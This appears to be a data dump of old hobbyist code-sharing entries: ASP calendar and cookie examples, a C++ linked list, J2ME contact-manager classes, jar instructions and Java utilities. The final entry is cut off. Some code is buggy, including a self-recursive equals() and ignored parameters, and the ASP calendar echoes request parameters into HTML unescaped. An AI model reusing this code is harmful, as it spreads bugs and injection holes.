align=\"\"center\"\" class=\"\"date\"\">Sa</TD></TR>\"\nfor tablecell = 1 to 42\n\tif weekdaynum = 7 then\n\t\tweekdaynum = 0\n\tend if\n\tweekdaynum = weekdaynum + 1\n\tinc = inc + 1\n\tif inc < FirstDayofMonth then\n\t\tpreviousMonth = previousMonth + 1\n\t\thtml = html & \"<TD align=\"\"center\"\" class=\"\"dateother\"\">\" & previousMonth & \"</TD>\" & vbcr\n\telseif thisMonth < findMonth(DisplayMonth, ShowYear) then\n\t\tthisMonth = thisMonth + 1\n\t\thtml = html & \"<TD align=\"\"center\"\" class=\"\"date\"\"><A HREF=\"\"day.asp?at=\" & Request(\"at\") & \"&sguid=\" & Request(\"sguid\") & \"&dd=\" & DisplayMonth & thisMonth & DisplayYear & \"&wd=\" & weekdaynum & \"\"\">\" & thisMonth & \"</A></TD>\" & vbcr\n\telse\n\t\tnextMonth = nextMonth + 1\n\t\thtml = html & \"<TD align=\"\"center\"\" class=\"\"dateother\"\">\" & nextMonth & \"</TD>\" & vbcr\n\tend if\n\tif tablecell/7 = int(tablecell/7) then\n\t\thtml = html & \"</tr><tr>\" & vbcr\n\tend if\nNext\nhtml = html & \"<TR><TD align=\"\"center\"\" colspan=\"\"7\"\"><A HREF=\"\"cal_small.asp?dd=\" & makeLink(Request(\"dd\"),\"previous\") & \"\"\">Previous</A> <A HREF=\"\"cal_small.asp?dd=\" & makeLink(Request(\"dd\"),\"next\") & \"\"\">Next</A></TD><TR>\"\n%>\n<HTML>\n<HEAD>\n</HEAD>\n<BODY>\n<TABLE WIDTH=\"200px\" BORDER=1 CELLSPACING=1 CELLPADDING=1>\n\t<%=html%>\n</TABLE>\n</BODY>\n</HTML>\n"},{"WorldId":4,"id":7463,"LineNumber":1,"line":"When a page is loaded, the browser uses a piece of memory to store the pages information. When the user exists the browser, this information can be written to a flat file on the client machine or on the server. This flat file is called a 'cookie'. Generally cookies are harmless, they do not contain any executable code. By retaining information, the cookie can assist the user to have a better web experience by retaining settings and information from the last time that the user was one the page.\nHere is a simple example which sets a cookie and stores a value called last visit. try it out \n<%@ LANGUAGE=\"VBScript\" %>\n<% Response.Buffer = true %>\n<html>\n<head>\n<title>Cookies in ASP</title>\n</head>\n<body bgcolor=\"#ffffff\">\n<center>\n<table border=0 cellpadding=8 cellspacing=0 width=550>\n<tr><td align=center colspan=2>\n<hr noshade>\nCookies in ASP\n<hr noshade>\n</td></tr>\n<tr>\n<td bgcolor=\"#cccccc\" width=100> </td>\n<td width=450>\n\nWhen this script runs, it first checks for a cookie named 'lastvisit'. If\nfound, it displays a message showing the date and time stored in that cookie.\nThen it takes the current date and time and saves them in this cookie.\n\nIf you reload the page or visit it again later, it will display a timestamp,\nshowing you when you were last here (try hitting your RELOAD button if you\ndon't see it on the next line).\n\n<% 'Get date and time of last visit from cookie.\nlast = Request.Cookies(\"lastvisit\")\nif last <> \"\" then\nResponse.Write(\"You last visited this page on \" & last & \".\")\nend if %>\n\nOne important thing to note in the source is the line at the beginning of the\npage.\n\n<pre>\nResponse.Buffer = true\n</pre>\n\nThis tells the server to run all the script code in the page before sending any\ndata to the browser. By default, script output is not buffered, and the server\nmay start transmitting the page to the browser even as the code is still being\nexecuted.\n\nHere we want to set cookie information, which is stored as part of the response\nheader. Everytime a file is transmitted over the web, a short header is\nattached to the front of it. When a web server sends a page to a browser this\nheader contains, among other things, data which tells the browser what kind of\nfile it is (image, HTML, plain text, etc.). It can also contain cookie data for\nthe browser to store.\n\nSince the code that actually sets the cookie value is farther down in the page,\nthe output needs to be buffered so the cookie can be set before the response\nheader is sent. Therefore, it is often a good idea to set buffering on anytime\nyou use cookies within your scripts.\n\nAlso note these two lines.\n\n<pre>\nlast = Request.Cookies(\"lastvisit\")\n...\nResponse.Cookies(\"lastvisit\") = Now\n</pre>\n\nThe Request object contains data found in the request header sent by the\nbrowser. This will include any cookie data, form input and browser info. The\nResponse object represents the data that will from the web server back to the\nbrowser, including the header and page contents.\n\nSource\n\n<ul>\n<li><a href=\"cookies.asp?source=cookies.asp\">cookies.asp</a>\n</ul>\n\n\n</td>\n</tr>\n<tr><td align=center colspan=2>\n<hr noshade size=1>\n<a href=\"/\" target=\"_top\">Home</a>\n</td></tr>\n</table>\n<% 'Save current date and time in cookie\nResponse.Cookies(\"lastvisit\") = Now\nResponse.Cookies(\"lastvisit\").Expires = DateAdd(\"d\", 30, Date) %>\n</center>\n</body>\n</html>\n"},{"WorldId":4,"id":7276,"LineNumber":1,"line":"COPYRIGHT NOTICE \nCopyright 2001 Bhushan Paranjpe All Rights Reserved. \n This Bhushan's Graphical Hit Counter it no required database like MS Access\n or SQL and also no code contains DSN connection.\n \n \n Bhushan_paranjpe@rediffmail.com //\n The Bhushan's Graphical Hit Counter may be used and modified free of charge\n by anyone so long as \n this copyright notice and the comments above remain intact. By using this \n code you agree to indemnify Bhushan Paranjpe from any liability that might \n arise from it's use. \n Basicaly Bhushan's Graphical Hit Counter is FREEWARE //\n Selling the code for this program without prior written consent is \n expressly forbidden. In other words, please ask first before you try and \n make money off of my program. \n \n Obtain permission before redistributing this software over the Internet or \n in any other medium. In all cases copyright and header must remain intact\n This Copyright is in full effect in any country that has International \n Files\n Zip file contains \n index.asp\n database.inc\n folder contains images (images) it contains many digit images like blue,\n red,green etc\n so all have to do is do change the code (that you like any image) \n database.inc :-\n change the value that you start count from (Probaly from ZERO )\n so do it you're selff \n\t If you facing problem with Counter then please mail me\n Bhushan_paranjpe@rediffmail.com\n Bye and enjoy the hit counter"},{"WorldId":4,"id":7282,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7283,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7304,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4665,"LineNumber":1,"line":"#include <iostream.h>\nstruct node\n{\nint num;\nnode *next;\n};\nclass number\n{\npublic:\nnumber();\n~number();\nint add(int num, int success);\nint remove(int num, int success);\nvoid print();\nint search(int num, int success);\nprivate:\nnode *head;\nnode *cur;\nnode *pre;\n};\n//constructor\nnumber::number()\n{\nhead=NULL;\ncur=NULL;\npre=NULL;\n}\n//destructor\nnumber::~number()\n{\nnode *ptr;\nwhile(head!=NULL) //delete all the numbers\n{\nptr=head->next;\ndelete head;\nhead=ptr;\n}\n}\n\nvoid main()\n{\nchar answer;\nint num;\nint success=0;\nnumber link;\ncout << \"This is the the linked list function\" << endl;\ncout << \"\\n \\n\";\nfor(int i=5; i>3; i++) //loop is for keep the program run untill set it false\n{\ncout << \"Enter 'A' for add a number\" << endl; //main menus\ncout << \"Enter 'R' for remove a number\" << endl;\ncout << \"Enter 'P' for print all the number\" << endl;\ncout << \"Enter 'S' for search a number\" << endl;\ncout << \"Enter 'Q' for quit the program\" << endl;\ncout << \"\\n\\n\";\ncout << \"Enter your choice of A, R, P, S, or Q: \";\ncin >> answer;\n//if choice was A or a, asked the user to enter a number then call the add\n//function, the function will return success or fail\nif((answer=='A')||(answer=='a'))\n{\ncout << \"Enter a number: \";\ncin >> num;\nsuccess=link.add(num, success);\nif(success==1)\ncout << \"Add success\" << endl;\nelse\ncout << \"Add fail\" << endl;\n}\nelse if((answer=='R')||(answer=='r'))\n{\nsuccess=link.remove(num, success);\nif(success==1)\ncout << \"Remove success\" << endl;\nelse\ncout << \"Remove fail\" << endl;\n}\nelse if((answer=='P')||(answer=='p'))\nlink.print();\nelse if((answer=='S')||(answer=='s'))\n{\ncout << \"Enter a number: \";\ncin >> num;\nsuccess=link.search(num, success);\nif(success==1)\ncout << \"Search success\" << endl;\nelse\ncout << \"Search fail\" << endl;\n}\n\n//if the user enter a Q or q, set the for loop at the beginning to false and\n//quit the program.\nelse if((answer=='Q')||(answer=='q'))\ni=0;\n//if any other input other then A R, P, S, or Q then print out an error message\nelse\ncout << \"Error, you choice must be A, R, P, S, or Q\";\ni--; //the integer i will never get any larger.\n} //for loop\n}// main\n\n//this is the link list add function by stack. If the it was empty, make a new cell\n//copy the number to the new cell, else current equal to head, head equal to new cell\n//copy the number to the head-> new cell. and new cell ->next equal to current. this\n//will connect the list together.\nint number::add(int num, int success)\n{\nif(head==NULL)\n{\nhead=new node;\nhead->num=num;\nhead->next=NULL;\nsuccess=1;\n}\nelse\n{\ncur=head;\nhead=NULL;\nhead=new node;\nhead->num=num;\nhead->next=cur;\nsuccess=1;\n}\nreturn success;\n}\n\n//****remove at the head, this is stack, add at the head remove at the head.\nint number::remove(int num, int success)\n{\nnode *temp; //make a temp pointer\nif(head!=NULL) //if the list is not empty\n{\ntemp=head->next; //temp equal to head ->next\ndelete head; //delete head, remove the first data of the list\nhead=temp; //now the second data of the list become the first data of the list\nreturn success=1; //return success\n}\nelse\nreturn success=0; //if the list empty return fail\nreturn success;\n}\n\n//this function will print from the beginning of the list to the end of the list\nvoid number::print()\n{\n//if the list was empty print out an error message\nif(head==NULL)\n{\ncout << \"There isn't any number\" << endl;\nreturn;\n}\n//else while not the end of the list, print out the number and go to the next one\nelse\n{\ncur=head;\nwhile(cur!=NULL)\n{\ncout << \"number: \" << cur->num << endl;\ncur=cur->next;\n}\n}\n}\n\n//the search function was search from the beginning of the head to the end of the\n//head.\nint number::search(int num, int success)\n{\nif(head==NULL) //if there isn't any data return 0\n{\nsuccess=0;\nreturn 0;\n}\nif(head->num == num) //if delete the first node\n{\ncout << num << \" was found\" << endl;\nsuccess=1;\nreturn 1;\n}\nelse //else delete any node other than the first node\n{\ncur=head;\ncur=cur->next;\n\nwhile(cur!=NULL) //search all the to the end of the list\n{\nif(cur->num ==num)\n{\ncout << num << \" was found\" << endl;\nsuccess=1;\nreturn 1;\n}\npre=cur;\ncur=cur->next;\nsuccess=0;\n}// while\n} //else\nreturn success;\n}"},{"WorldId":2,"id":3114,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3083,"LineNumber":1,"line":"/* Save this file Contacts.java\n* Start the code \n*\n*/\nimport javax.microedition.midlet.*;\nimport javax.microedition.lcdui.*;\nimport java.util.*;\nimport java.io.*;\nimport javax.microedition.io.*;\nimport javax.microedition.rms.*;\npublic class Contacts extends MIDlet implements CommandListener {\n private Command exitCommand, addCommand, backCommand, saveCommand,\n deleteCommand;\n private Display display;\n private List mainScreen;\n private Form contactScreen;\n private TextField nameField, companyField, phoneField, faxField;\n private ChoiceGroup contactType;\n private boolean editing = false;\n private ContactDB db = null;\n private Vector contactIDs = new Vector();\n private Image[] typeImages;\n public Contacts() {\n // Get the Display object for the MIDlet\n display = Display.getDisplay(this);\n // Create the commands\n exitCommand = new Command(\"Exit\", Command.EXIT, 2);\n addCommand = new Command(\"Add\", Command.SCREEN, 3);\n backCommand = new Command(\"Back\", Command.BACK, 2);\n saveCommand = new Command(\"Save\", Command.OK, 3);\n deleteCommand = new Command(\"Delete\", Command.SCREEN, 3);\n // Create the main screen\n mainScreen = new List(\"Contacts\", List.IMPLICIT);\n // Set the Exit and Add commands for the main screen\n mainScreen.addCommand(exitCommand);\n mainScreen.addCommand(addCommand);\n mainScreen.setCommandListener(this);\n // Create the contact screen\n contactScreen = new Form(\"Contact Info\");\n nameField = new TextField(\"Name\", \"\", 30, TextField.ANY);\n contactScreen.append(nameField);\n companyField = new TextField(\"Company\", \"\", 15, TextField.ANY);\n contactScreen.append(companyField);\n phoneField = new TextField(\"Phone\", \"\", 10, TextField.PHONENUMBER);\n contactScreen.append(phoneField);\n faxField = new TextField(\"Fax\", \"\", 10, TextField.PHONENUMBER);\n contactScreen.append(faxField);\n String[] choices = { \"Personal\", \"Business\", \"Family\", \"Other\" };\n contactType = new ChoiceGroup(\"Type\", Choice.EXCLUSIVE, choices, null);\n contactScreen.append(contactType);\n // Set the Back, Save, and Delete commands for the contact screen\n contactScreen.addCommand(backCommand);\n contactScreen.addCommand(saveCommand);\n contactScreen.addCommand(deleteCommand);\n contactScreen.setCommandListener(this);\n // Load the type images\n try {\n typeImages = new Image[4];\n typeImages[0] = Image.createImage(\"/Personal.png\");\n typeImages[1] = Image.createImage(\"/Business.png\");\n typeImages[2] = Image.createImage(\"/Family.png\");\n typeImages[3] = Image.createImage(\"/Other.png\");\n }\n catch (IOException e) {\n System.err.println(\"EXCEPTION: Failed loading images!\");\n }\n // Open the contact database\n try {\n db = new ContactDB(\"contacts\");\n }\n catch(Exception e) {\n System.err.println(\"EXCEPTION: Problem opening the database.\");\n }\n // Read through the database and build a list of record IDs\n RecordEnumeration records = null;\n try {\n records = db.enumerateContactRecords();\n while(records.hasNextElement())\n contactIDs.addElement(new Integer(records.nextRecordId()));\n }\n catch(Exception e) {\n System.err.println(\"EXCEPTION: Problem reading the contact records.\");\n }\n // Read through the database and fill the contact list\n records.reset();\n try {\n while(records.hasNextElement()) {\n Contact contact = new Contact(records.nextRecord());\n mainScreen.append(contact.getName(), typeImages[contact.getType()]);\n }\n }\n catch(Exception e) {\n System.err.println(\"EXCEPTION: Problem reading the contact records.\");\n }\n }\n public void startApp() throws MIDletStateChangeException {\n // Set the current display to the main screen\n display.setCurrent(mainScreen);\n }\n public void pauseApp() {\n }\n public void destroyApp(boolean unconditional) {\n // Close the contact database\n try {\n db.close();\n }\n catch(Exception e) {\n System.err.println(\"EXCEPTION: Problem closing the database.\");\n }\n }\n public void commandAction(Command c, Displayable s) {\n if (c == exitCommand) {\n destroyApp(false);\n notifyDestroyed();\n }\n else if (c == addCommand) {\n // Clear the contact fields\n nameField.setString(\"\");\n companyField.setString(\"\");\n phoneField.setString(\"\");\n faxField.setString(\"\");\n contactType.setSelectedIndex(0, true);\n // Remove the Delete command from the contact screen\n contactScreen.removeCommand(deleteCommand);\n editing = false;\n // Set the current display to the contact screen\n display.setCurrent(contactScreen);\n }\n else if (c == List.SELECT_COMMAND) {\n // Get the record ID of the currently selected contact\n int index = mainScreen.getSelectedIndex();\n int id = ((Integer)contactIDs.elementAt(index)).intValue();\n // Retrieve the contact record from the database\n Contact contact = db.getContactRecord(id);\n // Initialize the contact fields\n nameField.setString(contact.getName());\n companyField.setString(contact.getCompany());\n phoneField.setString(contact.getPhone());\n faxField.setString(contact.getFax());\n contactType.setSelectedIndex(contact.getType(), true);\n // Add the Delete command to the contact screen\n contactScreen.addCommand(deleteCommand);\n editing = true;\n // Set the current display to the contact screen\n display.setCurrent(contactScreen);\n }\n else if (c == deleteCommand) {\n // Get the record ID of the currently selected contact\n int index = mainScreen.getSelectedIndex();\n int id = ((Integer)contactIDs.elementAt(index)).intValue();\n // Delete the contact record\n db.deleteContactRecord(id);\n contactIDs.removeElementAt(index);\n mainScreen.delete(index);\n // Set the current display back to the main screen\n display.setCurrent(mainScreen);\n }\n else if (c == backCommand) {\n // Set the current display back to the main screen\n display.setCurrent(mainScreen);\n }\n else if (c == saveCommand) {\n if (editing) {\n // Get the record ID of the currently selected contact\n int index = mainScreen.getSelectedIndex();\n int id = ((Integer)contactIDs.elementAt(index)).intValue();\n // Create a record for the contact and set it in the database\n Contact contact = new Contact(nameField.getString(), companyField.getString(),\n phoneField.getString(), faxField.getString(), contactType.getSelectedIndex());\n db.setContactRecord(id, contact.pack());\n mainScreen.set(index, contact.getName(), typeImages[contact.getType()]);\n }\n else {\n // Create a record for the contact and add it to the database\n Contact contact = new Contact(nameField.getString(), companyField.getString(),\n phoneField.getString(), faxField.getString(), contactType.getSelectedIndex());\n contactIDs.addElement(new Integer(db.addContactRecord(contact.pack())));\n mainScreen.append(contact.getName(), typeImages[contact.getType()]);\n }\n // Set the current display back to the main screen\n display.setCurrent(mainScreen);\n }\n }\n}\n/* END OF CODE Contacts.java\n*\n*/\n/* Sava this file name as Contact.java\n* Start the code \n*/\nimport java.util.*;\npublic class Contact {\n private String name, company, phone, fax;\n private int type;\n public Contact(String n, String c, String p, String f, int t) {\n name = n;\n company = c;\n phone = p;\n fax = f;\n type = t;\n }\n public Contact(byte[] data) {\n unpack(new String(data));\n }\n public void unpack(String data) {\n int start = 0, end = data.indexOf(';');\n name = data.substring(start, end);\n start = end + 1;\n end = data.indexOf(';', start);\n company = data.substring(start, end);\n start = end + 1;\n end = data.indexOf(';', start);\n phone = data.substring(start, end);\n start = end + 1;\n end = data.indexOf(';', start);\n fax = data.substring(start, end);\n start = end + 1;\n type = Integer.parseInt(data.substring(start, data.length()));\n }\n public String pack() {\n return (name + ';' + company + ';' + phone + ';' + fax + ';' +\n ((String)Integer.toString(type)));\n }\n public String getName() {\n return name;\n }\n public String getCompany() {\n return company;\n }\n public String getPhone() {\n return phone;\n }\n public String getFax() {\n return fax;\n }\n public int getType() {\n return type;\n }\n}\n/* End of code Contact.java\n*\n*/\n/* Save this file name as ContactDB.java\n* \n*/\nimport javax.microedition.rms.*;\nimport java.util.Enumeration;\nimport java.util.Vector;\nimport java.io.*;\npublic class ContactDB {\n RecordStore recordStore = null;\n public ContactDB(String name) {\n // Open the record store using the specified name\n try {\n recordStore = open(name);\n }\n catch(RecordStoreException e) {\n e.printStackTrace();\n }\n }\n public RecordStore open(String fileName) throws RecordStoreException {\n return RecordStore.openRecordStore(fileName, true);\n }\n public void close() throws RecordStoreNotOpenException,\n RecordStoreException {\n // If the record store is empty, delete the file\n if (recordStore.getNumRecords() == 0) {\n String fileName = recordStore.getName();\n recordStore.closeRecordStore();\n recordStore.deleteRecordStore(fileName);\n }\n else {\n // Otherwise, close the record store\n recordStore.closeRecordStore();\n }\n }\n public Contact getContactRecord(int id) {\n // Get the contact record from the record store\n try {\n return (new Contact(recordStore.getRecord(id)));\n }\n catch (RecordStoreException e) {\n e.printStackTrace();\n }\n return null;\n }\n public synchronized void setContactRecord(int id, String record) {\n // Convert the string record to an array of bytes\n byte[] bytes = record.getBytes();\n // Set the record in the record store\n try {\n recordStore.setRecord(id, bytes, 0, bytes.length);\n }\n catch (RecordStoreException e) {\n e.printStackTrace();\n }\n }\n public synchronized int addContactRecord(String record) {\n // Convert the string record to an array of bytes\n byte[] bytes = record.getBytes();\n // Add the byte array to the record store\n try {\n return recordStore.addRecord(bytes, 0, bytes.length);\n }\n catch (RecordStoreException e) {\n e.printStackTrace();\n }\n return -1;\n }\n public synchronized void deleteContactRecord(int id) {\n // Delete the contact record from the record store\n try {\n recordStore.deleteRecord(id);\n }\n catch (RecordStoreException e) {\n e.printStackTrace();\n }\n }\n public synchronized RecordEnumeration enumerateContactRecords()\n throws RecordStoreNotOpenException {\n return recordStore.enumerateRecords(null, null, false);\n }\n}\n\n/* End of code ContactDB.java\n*\n*/"},{"WorldId":2,"id":3141,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3142,"LineNumber":1,"line":"This script has 2 parts.\nStep 1: \n<script language=\"JavaScript\">\n\n</script>\nStep 2: Insert this in the body tag of your web page.\n<body onload=\"bgtrans()\">\n"},{"WorldId":2,"id":3039,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>New Page 1</title>\n</head>\n<body>\n \nHow to make executable jar files in JDK1.3.1?, \nI can make jar in JDK 1.3.1 but when I developed a package in java(application) I was Unable to make executable jar.? \n \nInstructions for creating an Excecutable .jar file\n \nMake or modify the Manifest.MF to YourManifest.MF. \n1) YourClassNameWithMain is the class name (case sensitive)without .class extention \n2) No extra spaces following the YourClassName withMain. \n \n\tManifest-Version:1.0 \n\tMain-Class: YourClassNameWithMain \n\tCreated-by:1.2(Sun Microsystems Inc.) \n\tOn Command line : type the following \njar cvfm YourJarFileName.jar YourManifest.MF* \nor \njar cvfm YourJarFileName.jar YourManifest.MF -C classes yourClassPath \nDrag-drop the YourJarFileName.jar to your desktop double click it, it runs \nIf your program only has System.out.println (\"whatever\"); statements, it will \ndisplay nothing. The same will happen when you run it useing java at command line \nYou need some windows code to see it run \nInstructions for creating a .jar file \njar utility comes with your JDK1.2.2 It compresses your \nfile similar to zip utility, and more Java. \nYou can use it on any machine installed JDK \nCreate a folder name it anything \nMake that folder your current directory \nput all your files for turning in (do not put any extra) \nin that directory. \nBe sure to put your html file, if there is one \nAt your dos prompt, while you are in the directory that you created , type in: \njar cvf Prj02.jar* \nThis will take ALL the files in the directory including \nsubdirectories and place them in a .jar file Prj02 that can be \n replaced by any of your desired jar file name. \nTo test it, you can extract the contents of jar file by typing: \njar xvf Prj02.jar \n \nSome user posted Query is on this location in my\ncodes so this is answer. \n \n<a href=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=3035&lngWId=2\">http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=3035&lngWId=2 \n</a> \n \n\n</body>\n</html>\n"},{"WorldId":2,"id":3035,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3273,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3113,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3224,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":2960,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":2959,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":2948,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3901,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4815,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":70900,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":1453,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2387,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7628,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3411,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3418,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3308,"LineNumber":1,"line":"import java.lang.Object;\nimport java.lang.reflect.*;\nimport java.util.Comparator;\npublic class UniversalComparator extends Object implements Comparator {\n\tprivate String methodName = \"toString\";\n\tprivate int descAscIndicator = 1;\n\t\n\tpublic static final int ASCENDING = 1;\n\tpublic static final int DESCENDING = -1;\n\t\n\tpublic UniversalComparator(int descAscIndicator) {\n\t\tthis.descAscIndicator = descAscIndicator;\n\t}\n\t\n\tpublic UniversalComparator(String methodName, int descAscIndicator) {\n\t\tthis(descAscIndicator);\n\t\tthis.methodName = methodName;\n\t}\n\t\n\tpublic int compare(Object o1, Object o2) {\n\t\tObject comp1 = null;\n\t\tObject comp2 = null;\n\t\ttry {\n\t\tMethod o1_Method = o1.getClass().getMethod(methodName, null);\n\t\tMethod o2_Method = o2.getClass().getMethod(methodName, null);\n\t\tcomp1 = o1_Method.invoke(o1, null);\n\t\tcomp2 = o2_Method.invoke(o2, null);\n\t\t\n\t\t} catch (NoSuchMethodException e) {\n\t\t} catch (IllegalAccessException e) {\n\t\t} catch (InvocationTargetException e) {}\n\t\tComparable c1 = (Comparable) comp1;\n\t\tComparable c2 = (Comparable) comp2;\n\t\treturn c1.compareTo(c2) * descAscIndicator;\n\t}\n\t\n\tpublic boolean equals(Object obj) {\n\t\treturn this.equals(obj);\n\t}\n}"},{"WorldId":1,"id":72894,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72687,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8759,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8795,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3591,"LineNumber":1,"line":"import java.io.*;\nimport java.awt.*;\nimport java.awt.event.*;\nimport javax.swing.*;\npublic class FeeSystem extends Frame implements ActionListener\n{\n\tTextField textId;\n\tTextField textName;\n\tTextField textFname;\n\tTextField textClass;\n\tTextField textAddress;\n\tTextField textFee;\n\tTextField textDue;\n\tButton newRecord;\n\tButton search;\n\tButton save;\n\tButton delete;\n\tButton exit;\n\tFile file = new File(\"c:/fee.txt\");\n\n\tFeeSystem()\n\t{\n\t\tsuper(\"Student Fee System\");\n\t\tsetResizable(false);\n\t}\n\tFeeSystem(String title)\n\t{\n\t\tsuper(title);\n\t\tsetLayout(null);\n\t\tsetBounds(150,50,500,480);\n\t\tsetFont(new Font(\"Georgia\",3,14));\n\t\tsetBackground(new Color(194,200,252));\n\t\tsetResizable(false);\n\t\tLabel mainTitle = new Label(\"Fee Information System\");\n\t\tLabel id = new Label(\"Enter Student ID :\");\n\t\tLabel name = new Label(\"Student Name :\");\n\t\tLabel fname = new Label(\"Student Father Name :\");\n\t\tLabel clas = new Label(\"Student Class :\");\n\t\tLabel address = new Label(\"Student Address :\");\n\t\tLabel fee = new Label(\"Fee submitted / 28,600 in Rs. :\");\n\t\tLabel due = new Label(\"Fee Due on the Student in Rs. :\");\n\t\ttextId = new TextField();\n\t\ttextName = new TextField();\n\t\ttextFname = new TextField();\n\t\ttextClass = new TextField();\n\t\ttextAddress = new TextField();\n\t\ttextFee = new TextField();\n\t\ttextDue = new TextField();\n\t\tmainTitle.setBounds(150,30,250,20);\n\t\tid.setBounds(80,70,150,20);\n\t\tname.setBounds(80,140,150,20);\n\t\tfname.setBounds(80,180,150,20);\n\t\tclas.setBounds(80,220,150,20);\n\t\taddress.setBounds(80,260,150,20);\n\t\tfee.setBounds(80,330,200,20);\n\t\tdue.setBounds(80,370,200,20);\n\t\ttextId.setBounds(300,70,100,22);\n\t\ttextId.setBackground(new Color(149,157,236));\n\t\ttextName.setBounds(300,140,100,22);\n\t\ttextName.setBackground(new Color(149,157,236));\n\t\ttextFname.setBounds(300,180,100,22);\n\t\ttextFname.setBackground(new Color(149,157,236));\n\t\ttextClass.setBounds(300,220,100,22);\n\t\ttextClass.setBackground(new Color(149,157,236));\n\t\ttextAddress.setBounds(300,260,100,22);\n\t\ttextAddress.setBackground(new Color(149,157,236));\n\t\ttextFee.setBounds(300,330,100,22);\n\t\ttextFee.setBackground(new Color(149,157,236));\n\t\ttextDue.setBounds(300,370,100,22);\n\t\ttextDue.setBackground(new Color(149,157,236));\n\t\tnewRecord = new Button(\"New\");\n\t\tsearch = new Button(\"Search\");\n\t\tsave = new Button(\"Save\");\n\t\tdelete = new Button(\"Delete\");\n\t\texit = new Button(\"Exit\");\n\t\tnewRecord.setBounds(40,440,70,20);\n\t\tnewRecord.setFont(new Font(\"Georgia\",3,12));\n\t\tsearch.setBounds(130,440,70,20);\n\t\tsearch.setFont(new Font(\"Georgia\",3,12));\n\t\tsave.setBounds(220,440,70,20);\n\t\tsave.setFont(new Font(\"Georgia\",3,12));\n\t\tdelete.setBounds(310,440,70,20);\n\t\tdelete.setFont(new Font(\"Georgia\",3,12));\n\t\texit.setBounds(400,440,70,20);\n\t\texit.setFont(new Font(\"Georgia\",3,12));\n\t\tadd(newRecord);\n\t\tadd(search);\n\t\tadd(save);\n\t\tadd(delete);\n\t\tadd(exit);\n\t\tnewRecord.addActionListener(this);\n\t\tsearch.addActionListener(this);\n\t\tsave.addActionListener(this);\n\t\tdelete.addActionListener(this);\n\t\texit.addActionListener(this);\n\t\tadd(mainTitle);\n\t\tadd(id);\n\t\tadd(name);\n\t\tadd(fname);\n\t\tadd(clas);\n\t\tadd(address);\n\t\tadd(fee);\n\t\tadd(due);\n\t\tadd(textId);\n\t\tadd(textName);\n\t\tadd(textFname);\n\t\tadd(textClass);\n\t\tadd(textAddress);\n\t\tadd(textFee);\n\t\tadd(textDue);\n\t\tdelete.setEnabled(false);\n\t\tsetVisible(true);\n\t}\n\tpublic void actionPerformed(ActionEvent ae)\n\t{\n\t\tObject source = new Object();\n\t\tsource = ae.getSource();\n\t\tif(source == exit)\n\t\t{\n\t\t\tSystem.exit(0);\n\t\t}\n\t\tif(source == search)\n\t\t{\n\t\t\tString id;\n\t\t\tString name;\n\t\t\tString fname;\n\t\t\tString clas;\n\t\t\tString address;\n\t\t\tString fee;\n\t\t\tString due;\n\t\t\tid = textId.getText();\n\t\t\tid = \"~\" + id + \"~\";\n\t\t\tif(id.equals(\"\"))\n\t\t\t{\n\t\t\t\tJOptionPane.showMessageDialog(this,\" You must enter the ID number ! ! ! \",\"Invalid ID\",JOptionPane.INFORMATION_MESSAGE);\n\t\t\t}\n\t\t\telse\n\t\t\tif(!id.equals(\"\"))\n\t\t\t{\n\t\t\t\tsave.setEnabled(false);\n\t\t\t\tdelete.setEnabled(true);\n\t\t\t\ttextName.setEditable(false);\n\t\t\t\ttextFname.setEditable(false);\n\t\t\t\ttextClass.setEditable(false);\n\t\t\t\ttextAddress.setEditable(false);\n\t\t\t\ttextFee.setEditable(false);\n\t\t\t\ttextDue.setEditable(false);\n\t\t\t\tString st[] = new String[8];\n\t\t\t\tint index = 0;\n\t\t\t\tint in = 0;\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tFileInputStream fis = new FileInputStream(file);\n\t\t\t\t\tBufferedInputStream bis = new BufferedInputStream(fis);\n\t\t\t\t\tDataInputStream dis = new DataInputStream(bis);\n\t\t\t\t\tString str = dis.readLine();\n\t\t\t\t\tindex = str.indexOf(id);\n\t\t\t\t\tSystem.out.println(id);\n\t\t\t\t\tif(index == -1)\n\t\t\t\t\t{\n\t\t\t\t\t\tJOptionPane.showMessageDialog(this,\" No Record Found ! ! ! \",\"Record Information\",JOptionPane.INFORMATION_MESSAGE);\n\t\t\t\t\t}\n\t\t\t\t\tin = str.indexOf(\"&\",index+1);\n\t\t\t\t\tstr = str.substring(index , in);\n\t\t\t\t\t//\tSystem.out.println(str);\n\t\t\t\t\tindex = 0;\n\t\t\t\t\tin = 0;\n\t\t\t\t\tindex = str.indexOf(\"~\");\n\t\t\t\t\tfor(int i=0 ; i<st.length ; i++)\n\t\t\t\t\t{\n\t\t\t\t\t\tin = str.indexOf(\"~\",index+1);\n\t\t\t\t\t\tst[i] = str.substring(index , in);\n\t\t\t\t\t\tindex = in + 